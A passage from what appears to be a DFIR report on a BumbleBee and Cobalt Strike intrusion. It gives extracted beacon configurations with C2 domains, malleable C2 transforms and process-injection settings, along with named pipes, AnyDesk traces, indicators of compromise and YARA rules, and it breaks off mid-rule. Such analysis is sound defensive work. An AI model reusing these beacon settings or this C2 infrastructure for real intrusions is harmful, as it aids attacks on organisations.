[6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb ]Not Before: 2022/04/15 00:00:00 UTC Not After: 2023/04/15 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: fuvataren.com


[fuvataren.com ,www.fuvataren.com ]Public Algorithm: rsaEncryption Below is the Cobalt Strike configuration of this C2 exported from a sandbox analysis results: access_type: 512 beacon_type: 2048 host: fuvataren.com,/rs.js http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_method1: GET http_method2: POST jitter: 6144 polling_time: 5000 port_number: 443 sc_process32: %windir%\syswow64\rundll32.exe sc_process64:


%windir%\sysnative\rundll32.exe state_machine: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== unknown1 3.025605888e+09 unknown2 AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== uri: /en user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko)


Chrome/62.0.3202 watermark: 1580103814 The PowerShell beacon: 108.62.12[.]174 dofixifa[.]co JA3: a0e9f5d64349fb13191bc781f81f42e1JA3s: ae4edc6faf64d08308082ad26be60767Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]Not Before: 2022/03/26 00:00:00 UTC Not After: 2023/03/26 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: dofixifa.com


[dofixifa.com ,www.dofixifa.com ]Public Algorithm: rsaEncryption Full configuration extraction using 1768.py tool: Config found: xorkey b'.'


0x00000000 0x000031e0 0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https 0x0002 port


0x0001 0x0002 443 0x0003 sleeptime 0x0002 0x0004 5000


0x0004 maxgetsize 0x0002 0x0004


2796542 0x0005 jitter 0x0001 0x0002 48 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro' 0x0043 DNS_STRATEGY 0x0001 0x0002 0 0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1 0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1 0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1 0x000e SpawnTo 0x0003 0x0010 (NULL ...)


0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe' 0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe' 0x001f CryptoScheme 0x0001 0x0002 0 0x001a get-verb 0x0003 0x0010 'GET' 0x001b post-verb 0x0003 0x0010 'POST' 0x001c HttpPostChunk 0x0002 0x0004 0 0x0025 license-id 0x0002 0x0004 0 0x0026 bStageCleanup


0x0001 0x0002 1 0x0027 bCFGCaution


0x0001 0x0002 0 0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202' 0x000a post-uri 0x0003 0x0040 '/styles' 0x000b Malleable_C2_Instructions 0x0003 0x0100 Transform Input: [7:Input,4,2:338,3,8] Print Remove 338 bytes from begin BASE64 NETBIOS lowercase 0x000c http_get_header


0x0003 0x0200 Const_host_header Host: gmw.cn Const_header Connection: close Build Metadata:


[7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie] NETBIOS lowercase BASE64 Prepend wordpress_logged_in= Header Cookie 0x000d http_post_header 0x0003 0x0200 Const_host_header Host: gmw.cn Const_header


Connection: close Const_header Accept-Encoding: gzip Const_header Content-Type: text/plain Build Output:


[7:Output,15,3,4] XOR with 4-byte random key BASE64 Print Build SessionId:


[7:SessionId,3,2:__session__id=,6:Cookie] BASE64 Prepend __session__id= Header Cookie 0x0036 HostHeader 0x0003 0x0080 (NULL ...)


0x0032 UsesCookies 0x0001 0x0002 1 0x0023 proxy_type 0x0001 0x0002 2 IE settings 0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04' 0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04' 0x0037 EXIT_FUNK


0x0001 0x0002 0 0x0028 killdate 0x0002 0x0004 0 0x0029 textSectionEnd 0x0002 0x0004 155989 0x002a ObfuscateSectionsInfo 0x0003 0x0020 '\x00p\x02\x00á\x0b\x03\x00\x00\x10\x03\x00 ·\x03\x00\x00À\x03\x00\x1cÞ\x03' 0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE 0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ 0x002d process-inject-min_alloc 0x0002 0x0004


12128 0x002e process-inject-transform-x86 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90' 0x002f process-inject-transform-x64 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90' 0x0035 process-inject-stub 0x0003 0x0010 '2ÍAíð\x81\x0c[_I\x8eßG1Ìm' 0x0033 process-inject-execute 0x0003 0x0080 '\x01\x03\x04' 0x0034 process-inject-allocation-method 0x0001 0x0002 0 0x0000 Guessing Cobalt Strike version: 4.3 (max 0x0046) Default named pipes


The threat actors used default CS configuration and default named pipes.


Named pipes were created in order to establish communication between CS processes: In this particular case, threat actors used default post-exploitation jobs, which have a pattern of postex_[0-9a-f]{4}.


Below is the full list of all default named pipes spotted during this intrusion: \postex_0dde \postex_3e9b \postex_4008 \postex_4429 \postex_55f8 \postex_8248 \postex_8c73 \postex_972d \postex_fc2e Named piped are commonly used by Cobalt Strike perform various techniques.


Here is a Guide to Named Pipes and Hunting for Cobalt Strike Pipes from one of our contributors @svch0st.


AnyDesk As mentioned before in the lateral tool transfer section, threat actors remotely dropped AnyDesk binary on a server from the beachhead: A new service was created (Event ID 7045) upon the execution of AnyDesk installer:


AnyDesk logs, %ProgramData%\AnyDesk\ad_svc.trace


and


%AppData%\AnyDesk\ad.trace, show that it was used during Day 1 and Day 7 of this intrusion, using the Administrator account each time.


The usage of AnyDesk can be relatively easy to spot if you have the right logs (*.anydesk.com domains, AnyDesk user agent, etc.):


The usage of AnyDesk also triggered two ET signatures: ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS


AnyDesk Remote Desktop Software User-Agent Again, those are quick wins to add to your detection capabilities to detect the usage of unauthorized remote administration tools, commonly used by ransomware operators AnyDesk configuration file and the network logs revealed that the id used was 159889039 and the source IP was 108.177.235.25 (LeaseWeb USA – Cloud Provider).


Impact There was no impact (exfiltration, data encryption, or destruction) during this intrusion.


However, the observed TTPs show common cybercrime threat actors tradecraft which may have lead to domain wide ransomware had the threat actors had enough time.


Indicators Files BC_invoice_Report_CORP_46.zip 5226b7138f4dd1dbb9f6953bd75a320b 6c87ca630c294773ab760d88587667f26e0213a3 c1b8e9d77a6aea4fc7bed4a2a48515aa32a3922859c9091cecf1b5f381a87127 document.lnk 3466ffaf086a29b8132e9e10d7111492 58739dc62eeac7374db9a8c07df7c7c36b550ce5 90f489452b4fe3f15d509732b8df8cc86d4486ece9aa10cbd8ad942f7880075e namr.dll f856d7e7d485a2fc5b38faddd8c6ee5c c68e4d5eaae99d6f0a51eec48ace79a4fede3c09 2d67a6e6e7f95d3649d4740419f596981a149b500503cbc3fcbeb11684e55218 wab.exe c68437cc9ed6645726119c12fdcb33e7 7a3db4b3359b60786fcbdaf0115191502fcded07 1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381 af.exe 9b02dd2a1a15e94922be3f85129083ac 2cb6ff75b38a3f24f3b60a2742b6f4d6027f0f2a b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682 VulnRecon.exe 5839b4013cf6e25568f13d3fc4120795 d9832b46dd6f249191e9cbcfba2222c1702c499a eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef VulnRecon.dll 951d017ba31ecc6990c053225ee8f1e6 a204f20b1c96c5b882949b93eb4ac20d4f9e4fdf a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8 CommandLine.dll 3654f4e4c0858a9388c383b1225b8384 974ffbfae36e9a41ac672f9793ce1bee18f2e670 fa2b74bfc9359efba61ed7625d20f9afc11a7933ebc9653e8e9b1e44be39c455 w.bat bba3ff461eee305c7408e31e427f57e6 3300c0c05b33691ecc04133885b7fc9513174746 59198ffaf74b0e931a1cafe78e20ebf0b16f3a5a03bb4121230a0c44d7b963d2 s.bat 4b78228c08538208686b0f55353fa3bf 67707f863aa405a9b9a335704808c604845394bf 5eb0b0829b9fe344bff08de80f55a21a26a53df7bd230d777114d3e7b64abd24 Network BumbleBee 142.91.3[.]109 45.140.146[.]30 Cobalt Strike 45.153.243[.]142 fuvataren[.]com 108.62.12[.]174 dofixifa[.]com Cobalt Strike Payload Hosting 104.243.33[.]50 Detections Network ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O) ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS


BumbleBee Case 13387 Reference: https://thedfirreport.com */ /*


*/ rule bumblebee_13387_VulnRecon_dll { meta: description = "BumbleBee - file VulnRecon.dll" author = "TheDFIRReport" reference = "https://thedfirreport.com" date = "2022-08-08" hash1 = "a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8" strings: $x1 = "Use VulnRecon.exe -i, --SystemInfo to execute this command" fullword wide $x2 = "Use VulnRecon.exe -v, --Vulnerability to execute this command" fullword wide $x3 = "Use VulnRecon.exe -h, --HotFixes to execute this command" fullword wide $x4 = "Use VulnRecon.exe -m, --MicrosoftUpdates to execute this command" fullword wide $x5 = "Use VulnRecon.exe -s, --SupportedCve to execute this command" fullword wide $s6 = "VulnRecon.dll" fullword wide $s7 = "VulnRecon.Commands.


SystemCommands" fullword ascii $s8 = "VulnRecon.


Commands.


CveCommands" fullword ascii $s9 = "VulnRecon.


Commands" fullword ascii $s10 = "VulnRecon.CommandLine" fullword ascii $s11 = "D:\\work\\rt\\VulnRecon\\VulnRecon\\obj\\Release\\net5.0\\VulnRecon.pdb" fullword ascii $s12 = "VulnRecon.Commands.


ToolsCommand" fullword ascii $s13 = "Using VulnRecon.exe -o or VulnRecon.exe --OptionName" fullword wide $s14 = "commandVersion" fullword ascii $s15 = "GetSystemInfoCommand" fullword ascii $s16 = "CreateGetSupportedCveCommand" fullword ascii $s17 = "CreateWindowsVersionCommand" fullword ascii $s18 = " <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>" fullword ascii $s19 = "get_CommandVersion" fullword ascii $s20 = "<CommandVersion>k__BackingField" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 50KB and 1 of ($x*) and 4 of them } rule bumblebee_13387_VulnRecon_exe { meta: description = "BumbleBee - file VulnRecon.exe" author = "TheDFIRReport" reference = "https://thedfirreport.com" date = "2022-08-08" hash1 = "eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef" strings: $s1 = "hostfxr.dll" fullword wide $s2 = "--- Invoked %s


[version: %s, commit hash: %s] main = {" fullword wide $s3 = "This executable is not bound to a managed DLL to execute.


The binding value is: '%s'" fullword wide $s4 = "D:\\a\\_work\\1\\s\\artifacts\\obj\\win-x64.Release\\corehost\\cli\\apphost\\standalone\\Release\\apphost.pdb" fullword ascii $s5 = "VulnRecon.dll" fullword wide $s6 = "api-ms-win-crt-runtime-l1-1-0.dll" fullword ascii $s7 = " - %s&apphost_version=%s" fullword wide $s8 = "api-ms-win-crt-convert-l1-1-0.dll" fullword ascii $s9 = "api-ms-win-crt-math-l1-1-0.dll" fullword ascii $s10 = "api-ms-win-crt-time-l1-1-0.dll" fullword ascii $s11 = "api-ms-win-crt-stdio-l1-1-0.dll" fullword ascii $s12 = "api-ms-win-crt-heap-l1-1-0.dll" fullword ascii $s13 = "api-ms-win-crt-string-l1-1-0.dll" fullword ascii $s14 = "The managed DLL bound to this executable is: '%s'" fullword wide $s15 = "A fatal error was encountered.


This executable was not bound to load a managed DLL."


fullword wide $s16 = "api-ms-win-crt-locale-l1-1-0.dll" fullword ascii $s17 = "Showing error dialog for application: '%s' - error code: 0x%x - url: '%s'" fullword wide $s18 = "Failed to resolve full path of the current executable


[%s]" fullword wide $s19 = "https://go.microsoft.com/fwlink/?linkid=798306" fullword wide $s20 = "The managed DLL bound to this executable could not be retrieved from the executable image."


fullword wide condition: uint16(0) == 0x5a4d and filesize < 400KB and all of them } rule bumblebee_13387_wab { meta: description = "BumbleBee - file wab.exe" author = "TheDFIRReport" reference = "https://thedfirreport.com" date = "2022-08-08" hash1 = "1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381" strings: $s1 = "possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage " ascii $s2 = "pfxvex450gd81.exe" fullword ascii $s3 = "31403272414143" ascii /* hex encoded string '1@2rAAC' */ $s4 = "s wolf save detail surgery short vigour uttered fake proposal moustache accustomed lock been vegetable maximum ownership specifi" ascii $s5 = "130 Dial password %d propose7177!


Syllable( warrior stretching Angry 83) sabotage %s" fullword wide $s6 = "possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage " ascii $s7 = "accomplish course Content 506) arched organ Travels" fullword ascii $s8 = "123 serve edit.


693 Poison@ mercy " fullword wide $s9 = "Top wealthy!


fish 760? pier%complaint


July nicer!


%s shark+ " fullword wide $s10 = " Approximate- Choked- %s %s, " fullword wide $s11 = "niece beacon dwelling-


Headlong Intellectual+" fullword ascii $s12 = ">Certainty holes) cherries Proceeding Active+ surname Rex/ gets" fullword wide $s13 = "+Enthusiastic@ Couple?


%s, shy %


d %d) plume " fullword wide $s14 = " again workroom front leader height mantle mother sudden illness discontent who finest southern nature supplement normally hopef" ascii $s15 = "Advantage %s+ Creation.


officially/


Affirmative %s?


%s " fullword ascii $s16 = "Mind@ falcon+ illumination repair/


fullword ascii $s17 = "%Truthful- %d/ 161!